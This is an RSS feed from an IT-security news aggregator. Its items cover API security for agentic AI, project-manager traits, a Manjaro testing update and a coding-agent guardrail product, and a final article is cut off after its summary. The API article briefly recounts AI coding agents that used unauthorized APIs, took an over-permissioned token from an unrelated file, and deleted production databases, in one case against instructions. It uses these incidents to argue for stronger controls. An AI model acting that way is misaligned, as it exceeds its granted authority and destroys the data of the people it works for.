<title><![CDATA[Secure AI adoption starts with API best practices]]></title>
<description><![CDATA[You don’t need to be a fortune teller to understand where enterprise IT is headed. McKinsey reported in November that 62% of global organizations were experimenting, piloting or scaling agentic AI projects. More recently, Gartner forecast that worldwide spending on AI will top $2.59 trillion in 2...]]></description>
<link>https://tsecurity.de/de/3702824/it-security-nachrichten/secure-ai-adoption-starts-with-api-best-practices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702824/it-security-nachrichten/secure-ai-adoption-starts-with-api-best-practices/</guid>
<pubDate>Tue, 04 Aug 2026 12:09:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">You don’t need to be a fortune teller to understand where enterprise IT is headed. McKinsey<a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai"> </a><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai">reported</a> in November that 62% of global organizations were experimenting, piloting or scaling agentic AI projects. More recently,<a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-19-gartner-forecasts-worldwide-ai-spending-to-grow-47-percent-in-2026"> </a><a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-19-gartner-forecasts-worldwide-ai-spending-to-grow-47-percent-in-2026">Gartner forecast</a> that worldwide spending on AI will top $2.59 trillion in 2026 – an increase of 47% from last year. But with all the opportunity of AI comes risk.</p>



<p class="wp-block-paragraph">Two thirds of organizations have suffered from a cybersecurity incident linked to AI agents over the past year, according to the<a href="https://cloudsecurityalliance.org/artifacts/autonomous-but-not-controlled-ai-agent-incidents-now-common-in-enterprises"> </a><a href="https://cloudsecurityalliance.org/artifacts/autonomous-but-not-controlled-ai-agent-incidents-now-common-in-enterprises">Cloud Security Alliance (CSA)</a> – highlighting that these risks are no longer hypothetical.</p>



<p class="wp-block-paragraph">As they work to protect their organization by enforcing safe, governed adoption of AI, security leaders are overlooking the critical role of mature API management. Securing AI at the agent layer is only part of the solution. Without rigorous API discovery, protection and governance in place, other investments in AI security could be in vain.</p>



<h2 class="wp-block-heading">Why API security matters to AI</h2>



<p class="wp-block-paragraph">AI is nothing without APIs. LLMs ingest and generate huge volumes of data, which is accessed via APIs, at incredible scale. APIs that once were called a hundred or so times per day receive thousands of requests every minute thanks to AI-powered workloads.</p>



<p class="wp-block-paragraph">It’s easy to see why APIs have become such a key mechanism for threat actors to exploit AI systems, or to exfiltrate data in the other direction. The challenge is that APIs have a long history of posing a challenge for security teams.</p>



<p class="wp-block-paragraph">Some 87% of organizations suffered API-related security incidents last year, with APIs linked to AI the most commonly cited incident type, according to<a href="https://www.akamai.com/lp/report/api-security-study-2026"> </a>one study. A separate study<a href="https://hubspot.wallarm.com/hubfs/Annual%202025%20API%20ThreatStatsTM%20Report.pdf"> </a><a href="https://hubspot.wallarm.com/hubfs/Annual%202025%20API%20ThreatStatsTM%20Report.pdf">last year recorded</a> 439 new AI-related CVEs over the previous 12 months, marking an annual increase of 1025%. Nearly all were directly linked to APIs; including injection flaws, misconfigurations and new memory corruption vulnerabilities.</p>



<p class="wp-block-paragraph">Closing this security gap isn’t just important to mitigate the financial and reputational damage of the worst-case scenario of a data breach. It’s also increasingly important to keep regulators happy. Both NIS2 and DORA, while not AI-focused regulations, certainly make a strong case for looking at AI capabilities through the lens of resilience and security.</p>



<h2 class="wp-block-heading">Not seeing is not knowing</h2>



<p class="wp-block-paragraph">One of the most acute challenges with API security is the proliferation of shadow and zombie APIs. Modern cloud and microservices environments are highly distributed, with APIs scattered everywhere – many of which are forgotten or have never even been recorded. That doesn’t matter to an AI agent. They’re highly resourceful at discovering APIs that are accessible, even if they’ve not been specifically asked or authorized to use that approach. If APIs offer a route to complete the task that’s been assigned to them, AI agents will invariably find and use them.</p>



<p class="wp-block-paragraph">The issue is that these shadow or zombie APIs may not have been designed securely or in line with the organization’s current governance policies, leading to data loss or other unintended consequences. This was a major challenge even before Mythos changed the game for systems defenders and adversaries alike. With frontier models capable of discovering vulnerabilities and chaining exploits at a whole new speed and scale, the task of securing APIs is even more urgent.</p>



<h2 class="wp-block-heading">Planning for the worst</h2>



<p class="wp-block-paragraph">There’s plenty of opportunities for threat actors – whether armed with the latest AI models or not, to probe for API vulnerabilities. There are also mounting real-world examples of incidents of AI agents going rogue.</p>



<p class="wp-block-paragraph">One of the most widely publicized occurred when a Cursor coding agent<a href="https://www.osohq.com/developers/ai-agents-gone-rogue"> </a><a href="https://www.osohq.com/developers/ai-agents-gone-rogue">permanently deleted</a> a customer’s production database in just nine seconds. To do so, it found an API token stored in an unrelated file, which carried blanket permissions. No confirmation was required by the API to perform the operation.In a similar incident, Replit’s AI<a href="https://codenotary.com/blog/when-ai-goes-rogue-the-replit-incident-and-its-lessons"> </a><a href="https://codenotary.com/blog/when-ai-goes-rogue-the-replit-incident-and-its-lessons">agent deleted</a> a live production database despite being instructed not to.</p>



<p class="wp-block-paragraph">These are useful cautionary tales. There are three key measures security leaders can implement to ensure this never happens to their organization:</p>



<ol class="wp-block-list">
<li><strong>Start with discovery</strong> – because you can’t protect what you can’t see. Security leaders need to ensure all APIs running in their environment – both internal and third-party – are automatically and continuously captured and documented so they have a complete, accurate and up to date inventory.</li>



<li><strong>Focus on runtime protection</strong> – to mitigate the impact of zero-day exploits. There are too many vulnerabilities to patch them all. Teams are stretched and time is in short supply. Not everything can be patched at the speed of AI – for now at least. Runtime protection techniques – such as building rules and signatures into web app firewalls, are the best solution, enabling security teams to prevent flaws being exploited from outside.</li>



<li><strong>Don’t neglect insider threats </strong>– API abuse is commonplace, so it’s also important to enforce governance around user behavior. Security leaders should implement measures that enable teams to identify anomalies that fall outside of expected behavior so they can respond faster. To do so, they need to consider what level of authentication and permissions are required for specific APIs, from both a human and agent perspective. AI tools should never have sufficient permissions to delete entire production databases.</li>
</ol>



<h2 class="wp-block-heading">Security at the speed of AI</h2>



<p class="wp-block-paragraph">What will separate the winners from the losers going forward is the ability to manage risk in a way that doesn’t constrain the business. That means agile, unintrusive, secure-by-design approaches built around runtime protection and comprehensive visibility into API posture.</p>



<p class="wp-block-paragraph">The automobile sector is a great example of what’s happening in AI right now. When the industry was in its early days, the focus was on the basics – features that enabled the owner to get from A to B. As speed increased, people demanded safety – seatbelts, ABS brakes and roll bars.</p>



<p class="wp-block-paragraph">Today the AI world is also accelerating. Businesses have moved beyond the stage of wanting to see that it works. Now, they want security and control – and that starts at the API layer.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[20 traits of innovative and invaluable project managers]]></title>
<description><![CDATA[Projects are becoming more complex, with higher stakes and faster delivery times.



At the same time automation and AI are changing how projects are designed, managed, and delivered. Indeed, some pieces of project management are now routinely handled by machines.



Some may think that AI and au...]]></description>
<link>https://tsecurity.de/de/3702815/it-security-nachrichten/20-traits-of-innovative-and-invaluable-project-managers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702815/it-security-nachrichten/20-traits-of-innovative-and-invaluable-project-managers/</guid>
<pubDate>Tue, 04 Aug 2026 12:05:56 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Projects are becoming more complex, with higher stakes and faster delivery times.</p>



<p class="wp-block-paragraph">At the same time automation and AI are changing how projects are designed, managed, and delivered. Indeed, some pieces of project management are now routinely handled by machines.</p>



<p class="wp-block-paragraph">Some may think that AI and automation will make project managers obsolete, or at least less critical to project success. Executives say that’s not the case. Project managers are as important now as they ever were to project success.</p>



<p class="wp-block-paragraph">“As we move forward, the role of project manager is actually becoming increasingly important for finding the right things to invest in, defining scope, and staying focused on value,” says <a href="https://www.linkedin.com/in/noah-fletcher-9012ba4/">Noah Fletcher</a>, a partner in the operations excellence practice at consultancy West Monroe. “As we continue to accelerate, their value is really about quality — quality of what you’re trying to accomplish.”</p>



<p class="wp-block-paragraph">That doesn’t mean that the role of project manager is static. Rather, the role is evolving, with what it takes to be successful is changing to meet the needs of the moment.</p>



<p class="wp-block-paragraph">To thrive, project managers need to hone a complex combination of technical, business, and interpersonal skills. The Project Management Institute attempts to decode what it takes to be a successful project manager with its <a href="https://www.pmi.org/learning/training-development/talent-triangle">PMI Talent Triangle</a>, comprising Ways of Working, Power Skills, and Business Acumen.</p>



<p class="wp-block-paragraph">Not surprisingly, there’s a lot packed into those three areas. Effective project managers must know how to define <a href="https://www.cio.com/article/193441/what-is-project-scope-defining-and-outlining-project-success.html">the scope of a project</a>, identify necessary resources, and schedule those resources — all part of the technical aspect of the job. They must also <a href="https://www.cio.com/article/196244/stakeholder-management-your-plan-for-influencing-project-outcomes.html">manage stakeholders</a> and ensure projects align with business goals — skills that fall under the other two talent buckets.</p>



<p class="wp-block-paragraph">As lengthy as the PMI’s list of required skills is, experienced project leaders say that’s not enough to rise to the top of the profession; highly effective project managers today bring even more to their jobs.</p>



<p class="wp-block-paragraph">They’re curious, flexible, and adaptive — and they learn from and know how to right their mistakes. They’re empathetic, persuasive, and visionary. They know how to play to their own and others’ strengths.</p>



<p class="wp-block-paragraph">Leading project professionals say the most successful PMs are those who know the academic parts of the job — that is, the elements that are taught — but they also bring finesse to the work.</p>



<p class="wp-block-paragraph">So, what characteristics distinguish the most effective project managers? Longtime project leaders list the following key traits and skills as vital to succeeding at a high level.</p>



<h2 class="wp-block-heading">1. They serve as a strategic business partner</h2>



<p class="wp-block-paragraph">Top-level project managers are more than good managers. They have high-level strategic leadership skills and know how their projects fit within overall strategic goals, making them well equipped to make the right decisions for the project and the organization as a whole.</p>



<p class="wp-block-paragraph">“A project exists because it responds to a need of the business. That might be due to trends impacting the business or a challenge in running the business, but without understanding that, it will be hard for the project manager to deliver a successful project,” says <a href="https://www.pmi.org/about/leadership-governance/karla-eidem">Karla Eidem</a>, a Project Management Professional (PMP) and PMI’s global head of transformation and project delivery.</p>



<h2 class="wp-block-heading">2. They know the business</h2>



<p class="wp-block-paragraph">The most effective project managers aren’t just great leaders; they’re also business-savvy.</p>



<p class="wp-block-paragraph">“They understand strategy and business context,” Fletcher says. As they deal with shifting resources and changing market dynamics that happen during many projects, they focus on what work will bring business value — not merely what will tick off items on a task list. “That ability to work on the right thing is one of the most important things that a project manager can have,” Fletcher adds.</p>



<h2 class="wp-block-heading">3. They’re strong technologists</h2>



<p class="wp-block-paragraph">Projects today nearly always involve technology, making it essential to have technology skills. But standout project managers are true technologists, too.</p>



<p class="wp-block-paragraph">“Increasingly IT is touching so many different area, and we’re seeing systems and architecture getting more connected, so understanding how business and operations fit together is critical,” Fletcher says.</p>



<h2 class="wp-block-heading">4. They’re financially astute</h2>



<p class="wp-block-paragraph">Project management always involved budget management, but the task today requires more than balancing the books. It also involves understanding how projects and the core components of any given initiative bring value to the business. That takes financial acumen and the ability to make smart decisions during project execution to ensure the business sees returns on its investment.</p>



<p class="wp-block-paragraph">“The best project managers know the business drivers and can get depth on how the project impacts the business financially,” Fletcher says. “They have a good value management framework, that end-to-end process that can take the business case all the way through.”</p>



<h2 class="wp-block-heading">5. They possess extraordinary organizational skills</h2>



<p class="wp-block-paragraph">Top-notch project managers are highly organized individuals. But it’s not just about making a list and sticking with it. They understand how project plans and resources are intertwined with other goings-on within the organization. That organizational capacity enables them to adjust their plans and resources when needed.</p>



<p class="wp-block-paragraph"><a href="https://www.pmi.org/about/leadership-governance/lenka-pincot">Lenka Pincot</a>, chief of staff to the CEO at PMI, says today’s top-notch project managers are “orchestrators” who can pull together the complex components of modern projects and get them to work in harmony.</p>



<p class="wp-block-paragraph">“Organizations need orchestrators who can synchronize all the changes happening so the results all make sense,” she says. She notes that orchestration takes systems thinking as well as the ability to identify and plan for unintended consequences.</p>



<h2 class="wp-block-heading">6. They’re problem-solvers</h2>



<p class="wp-block-paragraph">The best project managers are good at delving into and solving for the “why” behind projects.</p>



<p class="wp-block-paragraph">“They enjoy problem-solving,” Pincot says. “[As project managers], we’re not handed projects; we are handed problems to solve. So we need to get to the bottom of what’s not working. We need to ask questions and really listen for what someone’s true interests are.”</p>



<h2 class="wp-block-heading">7. They thrive in fast-paced environments</h2>



<p class="wp-block-paragraph">Executives constantly talk about the speed of change today. Teams must work fast to keep up with shifting technology and business contexts, and project managers must be able to facilitate that, Fletcher says.</p>



<p class="wp-block-paragraph">“The ability to quickly identify the right tools, assign the right resources, accelerate testing, and to move things forward fast without compromising quality is a huge thing today,” he adds.</p>



<h2 class="wp-block-heading">8. They are flexible</h2>



<p class="wp-block-paragraph">Similarly, highly effective project managers are flexible, so they themselves aren’t flummoxed when project plans need adjustments — something that happens increasingly more often in the modern digital world.</p>



<p class="wp-block-paragraph">“Adaptability is huge,” says <a href="https://www.linkedin.com/in/krista-phillips-pmp-858aab98/">Krista Phillips</a>, a PMP holder and project management consultant. “Things are always going to change, priorities adjust, resources adjust, timelines change. Project managers must be able to successfully manage all that.”</p>



<h2 class="wp-block-heading">9. They are persuasive</h2>



<p class="wp-block-paragraph">Project managers typically manage teams but aren’t the boss of any of them, meaning they must be capable of leading and workers without having to lean on any official authority, explains <a href="https://www.linkedin.com/in/juliefbutcher/">Julie Butcher</a>, a fractional CIO work and transformation principal consultant with Butte Information Group. The best project managers are masters of this skill.</p>



<h2 class="wp-block-heading">10. They have ‘extreme awareness’</h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/barry-cousins">Barry Cousins</a>, a distinguished analyst and research fellow specializing in project portfolio management, project management, and organizational change management at Info-Tech Research Group, says top project managers possess what he calls “extreme awareness of resource capacity and utilization.”</p>



<p class="wp-block-paragraph">“Savvy project managers in the modern era have immediate implicit awareness of the capacity around them, so then they’re going to know right off the bat when their projects are going to fall short,” Cousin adds. Furthermore, they’re more comfortable alerting business leaders to that situation because they’re able to quantify the shortfall.</p>



<p class="wp-block-paragraph">Others agree, saying this all speaks to the need for project managers to have strong emotional intelligence.</p>



<h2 class="wp-block-heading">11. They have highly tuned stakeholder management skills</h2>



<p class="wp-block-paragraph">Project managers work with numerous stakeholders from various departments within and outside their organizations, and those who manage those relationships best understand each stakeholder’s perspectives, say <a href="https://www.linkedin.com/in/te-wu/">Te Wu</a>, CEO and chief project officer at PMO Advisory.</p>



<p class="wp-block-paragraph">Wu adds that stakeholders can now also include AI agents.</p>



<p class="wp-block-paragraph">For example, some stakeholders may be more risk adverse than others, or more resistant to change, or more prone to panic when problems arise.</p>



<p class="wp-block-paragraph">Veteran project leaders say managers who can identify and empathize with those perspectives can tailor their communications, plans, and training to address each stakeholder’s unique points of view.</p>



<h2 class="wp-block-heading">12. They understand who has authority</h2>



<p class="wp-block-paragraph">Organizations today have distributed authority, so project managers must know who has say over what pieces — whether they’re dealing with 10 IT architects who each control a piece of the IT environment or 10 executives who have responsibilities for separate areas of the enterprise impacted by a project.</p>



<p class="wp-block-paragraph">“The savvy project manager knows to give them all room to succeed,” Cousins explains. That means staying on top of what each person’s realm of authority needs for the project to succeed, identifying who has ownership for what pieces, and knowing which person has true authority and can get others to line up behind him or her.</p>



<p class="wp-block-paragraph">“It often requires getting to know people who are at a layer of the company that you don’t play in,” Cousins says.</p>



<h2 class="wp-block-heading">13. They can navigate office politics</h2>



<p class="wp-block-paragraph">In addition to being good at stakeholder management, elite project managers also know how to navigate office politics. That means navigating not only individual stakeholder’s needs and expectations but also understanding how those stakeholders interact with each other, who has influence over the others, and who has power to override the authority of others.</p>



<p class="wp-block-paragraph">“They know when to apply what type of pressure to get something accomplished,” Wu adds.</p>



<h2 class="wp-block-heading">14. They’re decisive</h2>



<p class="wp-block-paragraph">Given the speed, complexity and fluidity of project work today, project managers must be critical thinkers and decisive decision-makers. Otherwise, they risk falling into analysis-paralysis and bringing work to a halt.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/varunbijlani/">Varun Bijlani</a>, global managing partner for solutions and delivery at IBM Consulting, says the best project managers can confidently and consistently make good calls even in the face of ambiguity.</p>



<p class="wp-block-paragraph">“IT projects are rife with it, even though everyone walks in expecting full clarity and specificity: requirements shift, priorities compete, expectations are unclear, unplanned technical issues arise,” he says. “AI can surface options and synthesize information fast, but it can’t apply the contextual judgment, reasoning, and organizational awareness needed to weigh trade-offs and commit to a direction when the path isn’t clear. That’s still a human call.”</p>



<h2 class="wp-block-heading">15. They communicate effectively</h2>



<p class="wp-block-paragraph">Considering communication plays a significant role in <a href="https://www.cio.com/article/196244/stakeholder-management-your-plan-for-influencing-project-outcomes.html">managing projects, teams, and other stakeholders</a>, it is one of the essential skills for effective project managers, according to longtime project managers.</p>



<p class="wp-block-paragraph">Communication doesn’t just mean being a stellar facilitator, speaker, or writer; it requires good listening skills, too. As such, top managers actively listen to what’s said — and not said — and can take context into account.</p>



<p class="wp-block-paragraph">These skills enable project managers to synthesize information and then clearly and concisely sharing that information back with all those involved, Pincot explains.</p>



<p class="wp-block-paragraph">“They have to be able to translate business needs to technology teams and explain how technology creates value for the business so that everyone can understand and trust that information,” she adds.</p>



<h2 class="wp-block-heading">16. They build community</h2>



<p class="wp-block-paragraph">“I believe the ‘P’ in PM is for the people: You can’t do a project without a team. And the team might not report to the project manager, so you have to have collaborative leadership, problem-solving, and communication skills to activate your team. Without that you can’t really move the needle,” Eidem says. “But in a project, you’re working with people who might have different priorities and different understanding of the goals of the project, so it’s the project manager’s responsibility to make sure everyone is aligned and knows where they’re going.”</p>



<p class="wp-block-paragraph">Butcher agrees, saying that the best project managers know how to build a sense of community among the teams as well as with the workers on the periphery of projects so that everyone is willing to work toward a shared objective.</p>



<h2 class="wp-block-heading">17. They build rapport</h2>



<p class="wp-block-paragraph">Top project managers are also skilled at developing strong rapport with those around them — even for short-lived projects — knowing that good connections and solid relationships lead to success.</p>



<p class="wp-block-paragraph">“When you build rapport, there’s a shared understanding,” Phillips says. That shared understanding pays dividends. Project managers who take time to build up relationships are more likely to have others share information that could impact their projects, and they’re more likely to get help from others if they make difficult requests — such as staying late or coming in on a weekend to catch up.</p>



<h2 class="wp-block-heading">18. They’re confident leaders</h2>



<p class="wp-block-paragraph">According to Wu, effective project managers must possess confidence.</p>



<p class="wp-block-paragraph">“They have a can-do attitude, and that attitude needs to be a bit infectious,” he says. “They don’t have the be cheerleaders, but they do have to have a mindset that sees what’s possible and not just the issues and what’s at risk.”</p>



<p class="wp-block-paragraph">That allows them to present an optimistic attitude that can propel teams forward even during difficult stretches, Butcher adds. Project managers who possess such confidence are those with a track record of success and are competent in foundational project management skills such as planning and team-building, she says.</p>



<h2 class="wp-block-heading">19. They serve as change agents</h2>



<p class="wp-block-paragraph">Change is inevitable and can be highly disruptive to all areas of business and personal life; project management is no exception. Highly effective project managers understand this, embrace it, and build elements of uncertainty into their project plans. They also recognize the need to work closely with change management experts to help stakeholders adapt to change and better prepare for the future state of things.</p>



<h2 class="wp-block-heading">20. They possess an even-keeled demeanor</h2>



<p class="wp-block-paragraph">Even well-planned projects run into problems, and even highly skilled project managers can hit significant setbacks. But the best project managers don’t display panic, anger, or despair even under pressure; they keep their cool.</p>



<p class="wp-block-paragraph">“Projects can create a lot of pressure, and there can be seemingly conflicting priorities, so staying calm is an essential trait for project managers,” Pincot says.</p>



<p class="wp-block-paragraph"><strong>More on project management:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/244577/top-project-management-methodologies.html">Top 20 project management methodologies</a></li>



<li><a href="https://www.cio.com/article/228109/project-management-tips-strategies-best-practices.html">Project management guide: Tips, strategies, best practices</a></li>



<li><a href="https://www.cio.com/article/230682/what-is-a-project-manager-the-lead-role-for-project-success.html">What is a project manager? The lead role for project success</a></li>



<li><a href="https://www.cio.com/article/230398/top-project-management-certifications.html">Top 15 project management certifications</a></li>



<li><a href="https://www.cio.com/article/286354/project-management-7-must-have-project-management-skills-for-it-pros.html">7 must-have project management skills</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-08-04 - Kernels, Mesa, Nvidia, COSMIC, Deepin, Firefox, QEmu, Vulkan]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may...]]></description>
<link>https://tsecurity.de/de/3702781/unix-server/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702781/unix-server/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/</guid>
<pubDate>Tue, 04 Aug 2026 11:55:37 +0200</pubDate>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of August. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-869091-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-869091-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-869091-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-869091-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-1-bian-may-preview-released/187389" class="inline-onebox">Manjaro 26.1 Bian-May - Preview released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.19.14, the 6.19 series is now EOL (End Of Life). Please install 7.0, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>
<h2><a name="p-869091-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-869091-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernels</strong>
<ul>
<li>updates to toolchain</li>
</ul>
</li>
<li><strong>dracut</strong> <a href="https://github.com/dracut-ng/dracut/releases/tag/112">112</a></li>
<li><strong>QEmu</strong> <a href="https://wiki.qemu.org/ChangeLog/11.0">11.0.3</a></li>
<li><strong>Vulkan SDK</strong> <a href="https://vulkan.lunarg.com/doc/view/latest/windows/release_notes.html">1.4.357.0</a></li>
<li><strong>Nvidia</strong> <a href="https://www.nvidia.com/en-us/drivers/details/274517/">580.178.04</a>, <a href="https://www.nvidia.com/en-us/drivers/details/274513/">610.57.04</a></li>
<li><strong>Firefox</strong> <a href="https://www.firefox.com/firefox/153.0.1/releasenotes/">153.0.1</a></li>
<li><strong>COSMIC</strong> Epoch <a href="https://github.com/pop-os/cosmic-epoch/releases/tag/epoch-1.5.0">1.5.0</a></li>
<li>Updates to <strong>Deepin</strong> and <strong>Python</strong></li>
</ul>
<h2><a name="p-869091-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-869091-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux61 6.1.180</li>
<li>linux66 6.6.148</li>
<li>linux612 6.12.101</li>
<li>linux618 6.18.42</li>
<li>linux71 7.1.6</li>
<li>linux72 7.2.0-rc6</li>
<li>linux61-rt 6.1.167_rt62</li>
<li>linux66-rt 6.6.135_rt74</li>
<li>linux612-rt 6.12.89_rt18</li>
</ul>
<p><strong>Package Changes</strong> (8/3/26 15:37 CEST)</p>
<ul>
<li>testing core x86_64:  71 new and 71 removed package(s)</li>
<li>testing extra x86_64:  1250 new and 1248 removed package(s)</li>
<li>testing multilib x86_64:  40 new and 40 removed package(s)</li>
</ul>
<p>A list of all package changes can be found <a href="https://gist.github.com/hphilm/a5f1f07ad47d31dc29dcd7fec38a21bd/raw">here</a>.</p>

<ul>
<li>No issue, everything went smoothly</li>
<li>Yes there was an issue. I was able to resolve it myself.(Please post your solution)</li>
<li>Yes I am currently experiencing an issue due to the update. (Please post about it)</li>
</ul>
<p><a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353/1">Click to view the poll.</a></p>
<p>Check if your mirror has already synced:</p>
<ul>
<li><a href="https://repo.manjaro.org/">Mirror-Check Service</a></li>
</ul>
<hr>
            <p><small>3 posts - 2 participants</small></p>
            <p><a href="https://forum.manjaro.org/t/testing-update-2026-08-04-kernels-mesa-nvidia-cosmic-deepin-firefox-qemu-vulkan/189353">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Legit Security VibeGuard 2.0 brings endpoint security and real-time guardrails to AI coding agents]]></title>
<description><![CDATA[Legit Security has unveiled VibeGuard 2.0, bringing a new endpoint security capability that seamlessly discovers and integrates with coding agents, secures them and delivers a frictionless developer experience. Launched in Q4 2025, Legit VibeGuard was the solution designed to secure AI-generated ...]]></description>
<link>https://tsecurity.de/de/3702770/it-security-nachrichten/legit-security-vibeguard-20-brings-endpoint-security-and-real-time-guardrails-to-ai-coding-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702770/it-security-nachrichten/legit-security-vibeguard-20-brings-endpoint-security-and-real-time-guardrails-to-ai-coding-agents/</guid>
<pubDate>Tue, 04 Aug 2026 11:48:27 +0200</pubDate>
<content:encoded><![CDATA[<p>Legit Security has unveiled VibeGuard 2.0, bringing a new endpoint security capability that seamlessly discovers and integrates with coding agents, secures them and delivers a frictionless developer experience. Launched in Q4 2025, Legit VibeGuard was the solution designed to secure AI-generated code at the moment of creation and place guardrails on coding agents. This latest release changes the developer experience and tightens security of AI-first coding and coding agents. Unlike IDE extension solutions that are … <a href="https://www.helpnetsecurity.com/2026/08/04/legit-security-vibeguard-2-0/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/08/04/legit-security-vibeguard-2-0/">Legit Security VibeGuard 2.0 brings endpoint security and real-time guardrails to AI coding agents</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI assurance gap: CIOs need proof that agentic AI controls actually work]]></title>
<description><![CDATA[Enterprises have spent decades learning how to audit people and software. Agentic AI creates a third category: systems that interpret instructions, call tools and act across workflows without a mature assurance model built around them.



In my work as a leader and investor across technology-enab...]]></description>
<link>https://tsecurity.de/de/3702707/it-nachrichten/the-ai-assurance-gap-cios-need-proof-that-agentic-ai-controls-actually-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702707/it-nachrichten/the-ai-assurance-gap-cios-need-proof-that-agentic-ai-controls-actually-work/</guid>
<pubDate>Tue, 04 Aug 2026 11:23:04 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



